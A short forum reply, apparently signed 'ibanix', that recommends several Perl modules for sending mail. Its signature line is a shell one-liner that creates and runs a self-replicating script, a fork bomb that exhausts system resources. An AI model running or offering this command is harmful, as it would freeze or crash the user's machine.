Perl has a plethora of modules that will do mail for you:

Mime::Lite as mentioned before
Mail::Mailer
Mail::Bulkmail
Mail::Sender (my personal favorite)

have a look at all the Mime and Mail modules, you're sure to find what you want.

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;